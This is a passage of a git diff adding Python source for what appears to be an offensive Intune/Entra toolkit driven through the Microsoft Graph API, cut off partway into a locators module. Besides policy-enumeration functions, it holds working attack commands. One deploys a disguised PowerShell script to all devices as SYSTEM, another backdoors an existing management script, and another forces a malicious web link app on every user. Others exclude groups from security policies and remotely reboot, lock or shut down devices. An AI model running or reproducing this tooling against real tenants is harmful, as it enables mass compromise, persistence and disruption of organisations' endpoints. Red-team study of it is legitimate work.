"Domain") + print_profile_settings(response_json, "Private") + print_profile_settings(response_json, "Public") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-firewallrulepolicyrules - actual firewall rules +def display_firewallrulepolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-FirewallRulePolicyRules command") + return + + print_yellow("[*] Display-FirewallRulePolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + if 'settingInstance' in setting and setting['settingInstance']['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationGroupSettingCollectionInstance": + for group in setting['settingInstance'].get('groupSettingCollectionValue', []): + rule_name = "" + rule_action = "" + rule_direction = "" + rule_enabled = "" + rule_local_ports = "" + rule_remote_ports = "" + rule_description = "" + rule_interfaces = [] + for child in group.get('children', []): + setting_def_id = child['settingDefinitionId'] + if setting_def_id.endswith("_name"): + rule_name = child['simpleSettingValue']['value'] + elif setting_def_id.endswith("_action_type"): + rule_action = "ALLOW" if child['choiceSettingValue']['value'].endswith("_0") else "BLOCK" + elif setting_def_id.endswith("_direction"): + rule_direction = "INBOUND" if child['choiceSettingValue']['value'].endswith("_in") else "OUTBOUND" + elif setting_def_id.endswith("_enabled"): + rule_enabled = "ENABLED" if child['choiceSettingValue']['value'].endswith("_1") else "DISABLED" + elif setting_def_id.endswith("_localportranges"): + rule_local_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) + elif setting_def_id.endswith("_remoteportranges"): + rule_remote_ports = ", ".join([port['value'] for port in child['simpleSettingCollectionValue']]) + elif setting_def_id.endswith("_description"): + rule_description = child['simpleSettingValue']['value'] + elif setting_def_id.endswith("_interfacetypes"): + rule_interfaces = [iface['value'].split('_')[-1] for iface in child['choiceSettingCollectionValue']] + rule_interfaces = ", ".join(rule_interfaces) + print(f"Rule Name : {rule_name}") + print(f"Action : {rule_action}") + print(f"Direction : {rule_direction}") + print(f"Enabled : {rule_enabled}") + print(f"Local Ports : {rule_local_ports}") + print(f"Remote Ports : {rule_remote_ports}") + print(f"Description : {rule_description}") + print(f"Interfaces : {rule_interfaces}") + print() + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-edrpolicyrules +def display_edrpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-EDRPolicyRules command") + return + + print_yellow("[*] Display-EDRPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", + "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + if 'settingInstance' in setting and 'choiceSettingValue' in setting['settingInstance']: + value_field = setting['settingInstance']['choiceSettingValue'].get('value') + if value_field: + cleaned_value = value_field.rstrip('_01onboard') + if cleaned_value in settings_map: + setting_text = settings_map[cleaned_value] + if value_field.endswith('_1'): + print(f"ENABLED : {setting_text}") + elif value_field.endswith('_0'): + print(f"DISABLED : {setting_text}") + elif value_field.endswith('_onboard'): + print(f"ONBOARD : {setting_text}") + else: + print(f"{setting_text} - {value_field}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-lapsaccountprotectionpolicyrules +def display_lapsaccountprotectionpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-LAPSAccountProtectionPolicyRules command") + return + + print_yellow("[*] Display-LAPSAccountProtectionPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + settings_map = { + "device_vendor_msft_windowsadvancedthreatprotection_configurationtype": "Microsoft Defender for Endpoint client configuration package type", + "device_vendor_msft_windowsadvancedthreatprotection_configuration_samplesharing": "Sample sharing", + "device_vendor_msft_laps_policies_backupdirectory": { + "description": "Backup Directory", + "values": { + "0": "Disabled (password will not be backed up)", + "1": "Backup the password to Azure AD only", + "2": "Backup the password to Active Directory only" + } + }, + "device_vendor_msft_laps_policies_passwordagedays": "Password Age Days", + "device_vendor_msft_laps_policies_passwordagedays_aad": "Password Age Days (AAD)", + "device_vendor_msft_laps_policies_passwordexpirationprotectionenabled": { + "description": "Password Expiration Protection", + "values": { + "0": "Password Expiration Protection Disabled", + "1": "Password Expiration Protection Enabled" + } + }, + "device_vendor_msft_laps_policies_adpasswordencryptionenabled": { + "description": "AD Password Encryption", + "values": { + "0": "AD Password Encryption Disabled", + "1": "AD Password Encryption Enabled" + } + }, + "device_vendor_msft_laps_policies_adpasswordencryptionprincipal": "AD Password Encryption Principal", + "device_vendor_msft_laps_policies_adencryptedpasswordhistorysize": "AD Encrypted Password History Size", + "device_vendor_msft_laps_policies_administratoraccountname": "Administrator Account Name", + "device_vendor_msft_laps_policies_passwordcomplexity": { + "description": "Password Complexity", + "values": { + "1": "Large letters", + "2": "Large letters + small letters", + "3": "Large letters + small letters + numbers", + "4": "Large letters + small letters + numbers + special characters", + "5": "Large letters + small letters + numbers + special characters (improved readability)" + } + }, + "device_vendor_msft_laps_policies_passwordlength": "Password Length", + "device_vendor_msft_laps_policies_postauthenticationactions": { + "description": "Post Authentication Actions", + "values": { + "1": "Reset password: upon expiry of the grace period, the managed account password will be reset.", + "3": "Reset the password and logoff the managed account: upon expiry of the grace period, the managed account password will be reset and any interactive logon sessions using the managed account will be terminated.", + "5": "Reset the password and reboot: upon expiry of the grace period, the managed account password will be reset and the managed device will be immediately rebooted." + } + }, + "device_vendor_msft_laps_policies_postauthenticationresetdelay": "Post Authentication Reset Delay" + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + setting_instance = setting.get('settingInstance') + setting_def_id = setting_instance.get('settingDefinitionId') + if setting_instance and setting_def_id: + if setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationChoiceSettingInstance": + choice_value = setting_instance.get('choiceSettingValue', {}).get('value') + if choice_value and setting_def_id in settings_map: + setting_text = settings_map[setting_def_id] + if isinstance(setting_text, dict): + setting_description = setting_text.get('description', setting_def_id) + setting_value = setting_text['values'].get(choice_value.split('_')[-1], choice_value) + print(f"{setting_description}: {setting_value}") + else: + print(f"{setting_text}: {choice_value}") + children = setting_instance.get('choiceSettingValue', {}).get('children', []) + for child in children: + child_def_id = child.get('settingDefinitionId') + if child['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": + simple_value = child.get('simpleSettingValue', {}).get('value') + if simple_value and child_def_id in settings_map: + mapped_value = settings_map[child_def_id] + if isinstance(mapped_value, dict): + description = mapped_value.get('description', child_def_id) + value = mapped_value['values'].get(str(simple_value), simple_value) + print(f"{description}: {value}") + else: + print(f"{mapped_value}: {simple_value}") + elif setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": + simple_value = setting_instance.get('simpleSettingValue', {}).get('value') + if simple_value and setting_def_id in settings_map: + mapped_value = settings_map[setting_def_id] + if isinstance(mapped_value, dict): + description = mapped_value.get('description', setting_def_id) + value = mapped_value['values'].get(str(simple_value), simple_value) + print(f"{description}: {value}") + else: + print(f"{mapped_value}: {simple_value}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-usergroupaccountprotectionpolicyrules +def display_usergroupaccountprotectionpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-UserGroupAccountProtectionPolicyRules command") + return + + print_yellow("[*] Display-UserGroupAccountProtectionPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + + if args.select: + api_url += f"?$select={args.select}" + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': get_user_agent(args) + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + settings = response.json().get('value', []) + local_groups = [] + for setting in settings: + group_setting_collection = setting.get('settingInstance', {}).get('groupSettingCollectionValue', []) + for group_setting in group_setting_collection: + children = group_setting.get('children', []) + for child in children: + child_children = child.get('groupSettingCollectionValue', []) + for child_child in child_children: + for item in child_child.get('children', []): + if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_userselectiontype": + choice_value = item.get('choiceSettingValue', {}).get('value', '') + description = "Users/Groups" if choice_value.endswith("_users") else "Manual" + print(f"User selection type: {description}") + if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action": + choice_value = item.get('choiceSettingValue', {}).get('value', '') + action_map = { + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_update": "Add (Update)", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_remove_update": "Remove (Update)", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_restrict": "Add (Replace)" + } + action = action_map.get(choice_value, choice_value) + print(f"Group and user action: {action}") + if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc": + group_map = { + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_administrators": "Administrators", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_users": "Users", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotedesktopusers": "Remote Desktop Users", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotemanagementusers": "Remote Management Users", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_powerusers": "Power Users", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_guests": "Guests" + } + for choice in item.get('choiceSettingCollectionValue', []): + group = group_map.get(choice.get('value', ''), choice.get('value', '')) + local_groups.append(group) + if local_groups: + print(f"Local groups: {', '.join(local_groups)}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-exclusiongrouptopolicy +def add_exclusiongrouptopolicy(args): + if not args.id: + print_red("[-] Error: --id argument is required for Add-ExclusionGroupToPolicy command") + return + + print_yellow("[*] Add-ExclusionGroupToPolicy") + print("=" * 80) + + assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assignments" + assign_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assign" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + # get the current assignments so we don't mess up day-to-day ops + response = requests.get(assignments_api_url, headers=headers) + if response.ok: + current_assignments = response.json().get('value', []) + else: + print_red(f"[-] Failed to retrieve current assignments: {response.status_code}") + print_red(response.text) + print("=" * 80) + return + + try: + groupid = input("\nEnter Group ID To Exclude: ").strip() + except KeyboardInterrupt: + sys.exit() + + new_assignments = current_assignments + [ + { + "target": { + "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget", + "groupId": groupid + } + } + ] + + body = { + "assignments": new_assignments + } + + response = requests.post(assign_api_url, headers=headers, json=body) + if response.ok: + print_green(f"\n[+] Excluded group added to policy rules") + else: + print_red(f"\n[-] Failed to add excluded group to policy rules: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# deploy-maliciousscript +def deploy_maliciousscript(args): + if not args.script: + print_red("[-] Error: --script argument is required for Deploy-MaliciousScript command") + return + + print_yellow("[*] Deploy-MaliciousScript") + print("=" * 80) + script_content = read_file_content(args.script) + + try: + display_name = input("\nEnter Script Display Name: ").strip() + description = input("Enter Script Description: ").strip() + runasaccount = input("Run As Account (user/system): ").strip().lower() + sigcheck = input("Enforce Signature Check? (true/false): ").strip().lower() + runas32bit = input("Run As 64-bit? (true/false): ").strip().lower() + if runasaccount not in ['user', 'system']: + print("Invalid input for Run As Account. Defaulting to 'user.") + runasaccount = 'user' + if sigcheck not in ['true', 'false']: + print("Invalid input for Enforce Signature Check. Defaulting to 'false'.") + sigcheck = 'false' + if runas32bit not in ['true', 'false']: + print("Invalid input for Run As 64-bit. Defaulting to 'false'.") + runas32bit = 'false' + except KeyboardInterrupt: + sys.exit() + + user_agent = get_user_agent(args) + url_create = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "Content-Type": "application/json", + "User-Agent": user_agent + } + + encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') + script_payload = { + "@odata.type": "#microsoft.graph.deviceManagementScript", + "displayName": display_name, + "description": description, + "runSchedule": { + "@odata.type": "microsoft.graph.runSchedule" + }, + "scriptContent": encoded_script_content, + "runAsAccount": runasaccount, + "enforceSignatureCheck": sigcheck == 'true', + "fileName": "Deploy-PrinterSettings.ps1", + "runAs32Bit": runas32bit == 'true' + } + + response = requests.post(url_create, headers=headers, json=script_payload) + if response.status_code == 201: + print_green("\n[+] Script created successfully") + script_id = response.json().get('id') + print_green(f"[+] Script ID: {script_id}") + url_assign = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{script_id}/assign" + + try: + assignments = [] + assign_all_devices = input("\nAssign to all devices? (yes/no): ").strip().lower() + if assign_all_devices == 'yes': + assignments.append({ + "target": { + "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" + } + }) + assign_all_users = input("Assign to all users? (yes/no): ").strip().lower() + if assign_all_users == 'yes': + assignments.append({ + "target": { + "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" + } + }) + assign_specific_group = input("Assign to specific group? (yes/no): ").strip().lower() + if assign_specific_group == 'yes': + group_id = input("Enter Group ID: ").strip() + assignments.append({ + "target": { + "@odata.type": "#microsoft.graph.groupAssignmentTarget", + "groupId": group_id + } + }) + add_group_exclusion = input("Add group exclusion? (yes/no): ").strip().lower() + if add_group_exclusion == 'yes': + exclusion_group_id = input("Enter Group ID to Exclude: ").strip() + assignments.append({ + "target": { + "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget", + "groupId": exclusion_group_id + } + }) + + except KeyboardInterrupt: + sys.exit() + + assignment_payload = { + "deviceManagementScriptAssignments": assignments + } + + response = requests.post(url_assign, headers=headers, json=assignment_payload) + if response.status_code == 200: + print_green("\n[+] Script assigned successfully") + else: + print_red(f"[-] Failed to assign script: {response.status_code}") + print(response.text) + else: + print_red(f"[-] Failed to create script: {response.status_code}") + print(response.text) + print("=" * 80) + +# backdoor-script +def backdoor_script(args): + if not args.id or not args.script: + print_red("[-] Error: --id and --script required for Backdoor-Script command") + return + + print_yellow("[*] Backdoor-Script") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + # 1. get current target script settings and encode new script content so we don't override anything + # - could add option to alter pre-existing settings + try: + script_content = read_file_content(args.script) + encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') + except Exception as e: + print_red(f"[-] Error reading or encoding script file: {e}") + return + + response = requests.get(api_url, headers=headers) + if response.ok: + json_data = response.json() + json_data.pop('@odata.context', None) # remove or 400 err + json_data.pop('id', None) # remove or 400 err + json_data.pop('createdDateTime', None) # remove or 400 err + json_data.pop('lastModifiedDateTime', None) # remove or 400 err + json_data['scriptContent'] = encoded_script_content # replace with our new script content + else: + print_red(f"[-] HTTP Error: {response.status_code}") + print_red(response.text) + return + + # 2. patch script with updated script content + patch = requests.patch(api_url, headers=headers, json=json_data) + if patch.ok: + print_green("\n[+] Patched device management script successfully\n") + json_data = patch.json() + script_content = json_data.get('scriptContent') + if script_content: + decoded_script_content = base64.b64decode(script_content).decode('utf-8') + json_data['scriptContent'] = decoded_script_content + json_data.pop('@odata.context', None) + json_data.pop('scriptContent', None) + for key, value in json_data.items(): + print(f"{key} : {value}") + if script_content: + print_green("scriptContent :\n") + print(decoded_script_content) + else: + print_red(f"[-] Error patching device management script: {patch.status_code}") + print_red(patch.text) + print("=" * 80) + +# deploy-maliciousweblink +def deploy_maliciousweblink(args): + print_yellow("[*] Deploy-MaliciousWebLink") + print("=" * 80) + + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + try: + # all required + appUrl = input("\nApp URL: ").strip() + description = input("Description: ").strip() + displayName = input("Display Name: ").strip() + publisher = input("Publisher: ").strip() + isFeatured = input("Show this as a featured app in the Company Portal? (true/false): ").strip().lower() + if isFeatured not in ['true', 'false']: + print("Invalid input for Company Portal. Defaulting to 'False'.") + isFeatured = 'False' + except KeyboardInterrupt: + sys.exit() + + json_body = { + "@odata.type": "#microsoft.graph.windowsWebApp", # or microsoft.graph.webApp for standard web link + "appUrl": appUrl, + "categories": [], + "description": description, + "developer": "", + "displayName": displayName, + "informationUrl": "", + "isFeatured": isFeatured, + "notes": "", + "owner": "", + "privacyInformationUrl": "", + "publisher": publisher, + "roleScopeTagIds": [] + } + + response = requests.post(api_url, json=json_body, headers=headers) + if response.ok: + result = response.json() + print_green("\n[+] Malicious web link app deployed successfully") + + appid = result['id'] + print(f"\nApp ID: {appid}") + + assign_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{appid}/assign" + assign_body = { + "mobileAppAssignments": [ + { + "@odata.type": "#microsoft.graph.mobileAppAssignment", + "target": { + "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" + }, + "intent": "Required", + "settings": None + }, + { + "@odata.type": "#microsoft.graph.mobileAppAssignment", + "target": { + "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" + }, + "intent": "Required", + "settings": None + } + ] + } + + assign = requests.post(assign_url, json=assign_body, headers=headers) + if assign.ok: + print_green("\n[+] Web link app assigned successfully") + else: + print_red(f"\n[-] Failed to assign web link app: {response.status_code}") + print_red(response.text) + else: + print_red(f"[-] Failed to create web link app: {response.status_code}") + print_red(response.text) + + print("=" * 80) + +# deploy-maliciouswin32app +# - user will have to packagae app prior +# https://cloudinfra.net/how-to-deploy-exe-applications-using-intune/ +# https://www.systemcenterdudes.com/deploy-microsoft-intune-win32-apps/ +# +# POST https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/ +# {"@odata.type":"#microsoft.graph.win32LobApp","applicableArchitectures":"x64,x86","allowAvailableUninstall":false,"categories":[],"description":"IntuneMessageBox","developer":"","displayName":"IntuneMessageBox","displayVersion":"","fileName":"IntuneMessageBox.intunewin","installCommandLine":"IntuneMessageBox.exe","installExperience":{"deviceRestartBehavior":"suppress","maxRunTimeInMinutes":30,"runAsAccount":"system"},"informationUrl":"","isFeatured":false,"roleScopeTagIds":[],"notes":"","minimumSupportedWindowsRelease":"1607","msiInformation":null,"owner":"","privacyInformationUrl":"","publisher":"ECorp","returnCodes":[{"returnCode":0,"type":"success"},{"returnCode":1707,"type":"success"},{"returnCode":3010,"type":"softReboot"},{"returnCode":1641,"type":"hardReboot"},{"returnCode":1618,"type":"retry"}],"rules":[{"@odata.type":"#microsoft.graph.win32LobAppFileSystemRule","ruleType":"detection","operator":"notConfigured","check32BitOn64System":false,"operationType":"exists","comparisonValue":null,"fileOrFolderName":"IntuneMessageBox.exe","path":"C:\\Program Files\\IntuneMessageBox.exe"}],"runAs32Bit":false,"setupFilePath":"IntuneMessageBox.exe","uninstallCommandLine":"IntuneMessageBox.exe"} +# -> need to add install/uninstall instruction batch script +def deploy_maliciouswin32msi(args): # not working obvs + url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" + # add the option to be available in the company portal for download + data = { + "@odata.type": "#microsoft.graph.win32LobApp", + "applicableArchitectures": "x64,x86", + "allowAvailableUninstall": False, + "categories": [], + "description": "IntuneMessageBox", + "developer": "", + "displayName": "IntuneMessageBox", + "displayVersion": "", + "fileName": "IntuneMessageBox.intunewin", + "installCommandLine": "IntuneMessageBox.exe", + "installExperience": { + "deviceRestartBehavior": "suppress", + "maxRunTimeInMinutes": 30, + "runAsAccount": "system" + }, + "informationUrl": "", + "isFeatured": False, + "roleScopeTagIds": [], + "notes": "", + "minimumSupportedWindowsRelease": "1607", + "msiInformation": None, + "owner": "", + "privacyInformationUrl": "", + "publisher": "ECorp", + "returnCodes": [ + {"returnCode": 0, "type": "success"}, + {"returnCode": 1707, "type": "success"}, + {"returnCode": 3010, "type": "softReboot"}, + {"returnCode": 1641, "type": "hardReboot"}, + {"returnCode": 1618, "type": "retry"} + ], + "rules": [ + { + "@odata.type": "#microsoft.graph.win32LobAppFileSystemRule", + "ruleType": "detection", + "operator": "notConfigured", + "check32BitOn64System": False, + "operationType": "exists", + "comparisonValue": None, + "fileOrFolderName": "IntuneMessageBox.exe", + "path": "C:\\Program Files\\IntuneMessageBox.exe" + } + ], + "runAs32Bit": False, + "setupFilePath": "IntuneMessageBox.exe", + "uninstallCommandLine": "IntuneMessageBox.exe" + } + +# deploy-maliciouswin32msi +# - todo +# def deploy_maliciouswin32msi(args): + +# update-deviceconfig +def update_deviceconfig(args): + if not args.id: + print_red("[-] Error: --id required for Update-DeviceConfig command") + return + + properties = [ + { + "Property": "ownerType", + "Description": "Ownership of the device. Possible values are, 'company' or 'personal'. Default is unknown. Supports $filter operator 'eq' and 'or'. Possible values are: unknown, company, personal." + }, + { + "Property": "managedDeviceOwnerType", + "Description": "Ownership of the device. Can be 'company' or 'personal'. Possible values are: unknown, company, personal." + }, + { + "Property": "managedDeviceName", + "Description": "Automatically generated name to identify a device. Can be overwritten to a user friendly name." + }, + { + "Property": "notes", + "Description": "Notes on the device created by IT Admin. Default is null. To retrieve actual values GET call needs to be made, with device id and included in select parameter. Supports: $select. $Search is not supported." + }, + { + "Property": "roleScopeTagIds", + "Description": "List of Scope Tag IDs for this Device instance." + }, + { + "Property": "configurationManagerClientHealthState", + "Description": "Configuration manager client health state, valid only for devices managed by MDM/ConfigMgr Agent." + }, + { + "Property": "configurationManagerClientInformation", + "Description": "Configuration manager client information, valid only for devices managed, duel-managed or tri-managed by ConfigMgr Agent." + } + ] + + print_yellow("[*] Update-DeviceConfig") + print("=" * 80) + print("\033[34m[>] Device Properties: https://learn.microsoft.com/en-us/graph/api/intune-devices-manageddevice-update\033[0m\n") + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices('{args.id}')" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + table = [[prop["Property"], prop["Description"]] for prop in properties] + separator = ['-' * 20, '-' * 50] + tablenew = tabulate([["Property", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left")) + print(tablenew) + + try: + prop = input("\nEnter Property: ").strip() + newvalue = input("Enter New Value: ").strip() + except KeyboardInterrupt: + sys.exit() + + json_body = { + prop : newvalue + } + + response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] Device config updated successfully") + + else: + print_red(f"\n[-] Failed to update device config: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# reboot-device +def reboot_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Reboot-Device command") + return + + print_yellow("[*] Reboot-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/rebootNow" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + response = requests.post(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device reboot initiated successfully") + else: + print_red(f"[-] Failed to initiate device reboot: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# lock-device +def lock_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Lock-Device command") + return + print_yellow("[*] Lock-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/remoteLock" + user_agent = get_user_agent(args) + + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.post(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device lock initiated successfully") + else: + print_red(f"[-] Failed to initiate device lock: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# shutdown-device +def shutdown_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Shutdown-Device command") + return + + print_yellow("[*] Shutdown-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/shutDown" + user_agent = get_user_agent(args) + + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.post(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device shutdown initiated successfully") + else: + print_red(f"[-] Failed to initiate device shutdown: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add more from +# https://learn.microsoft.com/en-us/graph/api/resources/intune-devices-manageddevice?view=graph-rest-beta \ No newline at end of file diff --git a/Graphpython/commands/locators.py b/Graphpython/commands/locators.py new file mode 100644 index 0000000..fb06e6b --- /dev/null +++ b/Graphpython/commands/locators.py @@ -0,0 +1,235 @@ +import requests +import os +import re +from bs4 import BeautifulSoup +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token + +############ +# Locators # +############ + +def locate_objectid(args): + if not args.id: + print_red("[-] Error: --id required for Locate-ObjectID command") + return + + print_yellow("[*] Locate-ObjectID") + print("=" * 80) + graph_api_url = f"https://graph.microsoft.com/v1.0/directoryObjects/{args.id}" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(graph_api_url, headers=headers) + response.raise_for_status() + object_data = response.json() + object_type = object_data.get('@odata.type', '').split('.')[-1] + + print_green(f"Object Type: {object_type}") + print(f"ID: {object_data.get('id', 'N/A')}") + print(f"Display Name: {object_data.get('displayName', 'N/A')}") + + if object_type == 'user': + print(f"User Principal Name: {object_data.get('userPrincipalName', 'N/A')}") + print(f"Mail: {object_data.get('mail', 'N/A')}") + print(f"Job Title: {object_data.get('jobTitle', 'N/A')}") + print(f"Department: {object_data.get('department', 'N/A')}") + print(f"Office Location: {object_data.get('officeLocation', 'N/A')}") + print(f"Mobile Phone: {object_data.get('mobilePhone', 'N/A')}") + print(f"Business Phones: {', '.join(object_data.get('businessPhones', []))}") + print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}") + print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") + print(f"Last Sign-In DateTime: {object_data.get('signInActivity', {}).get('lastSignInDateTime', 'N/A')}") + elif object_type == 'group': + print(f"Mail: {object_data.get('mail', 'N/A')}") + print(f"Security Enabled: {object_data.get('securityEnabled', 'N/A')}") + print(f"Mail Enabled: {object_data.get('mailEnabled', 'N/A')}") + print(f"Group Types: {', '.join(object_data.get('groupTypes', []))}") + print(f"Visibility: {object_data.get('visibility', 'N/A')}") + print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") + print(f"Description: {object_data.get('description', 'N/A')}") + print(f"Membership Rule: {object_data.get('membershipRule', 'N/A')}") + print(f"Is Assignable To Role: {object_data.get('isAssignableToRole', 'N/A')}") + elif object_type == 'servicePrincipal': + print(f"App ID: {object_data.get('appId', 'N/A')}") + print(f"Service Principal Type: {object_data.get('servicePrincipalType', 'N/A')}") + print(f"App Display Name: {object_data.get('appDisplayName', 'N/A')}") + print(f"Homepage: {object_data.get('homepage', 'N/A')}") + print(f"Login URL: {object_data.get('loginUrl', 'N/A')}") + print(f"Publisher Name: {object_data.get('publisherName', 'N/A')}") + print(f"App Roles Count: {len(object_data.get('appRoles', []))}") + print(f"OAuth2 Permissions Count: {len(object_data.get('oauth2Permissions', []))}") + print(f"Tags: {', '.join(object_data.get('tags', []))}") + print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}") + elif object_type == 'application': + print(f"App ID: {object_data.get('appId', 'N/A')}") + print(f"Sign In Audience: {object_data.get('signInAudience', 'N/A')}") + print(f"Publisher Domain: {object_data.get('publisherDomain', 'N/A')}") + print(f"Verified Publisher: {object_data.get('verifiedPublisher', {}).get('displayName', 'N/A')}") + print(f"App Roles Count: {len(object_data.get('appRoles', []))}") + print(f"Required Resource Access Count: {len(object_data.get('requiredResourceAccess', []))}") + print(f"Web Redirect URIs: {', '.join(object_data.get('web', {}).get('redirectUris', []))}") + print(f"Created DateTime: 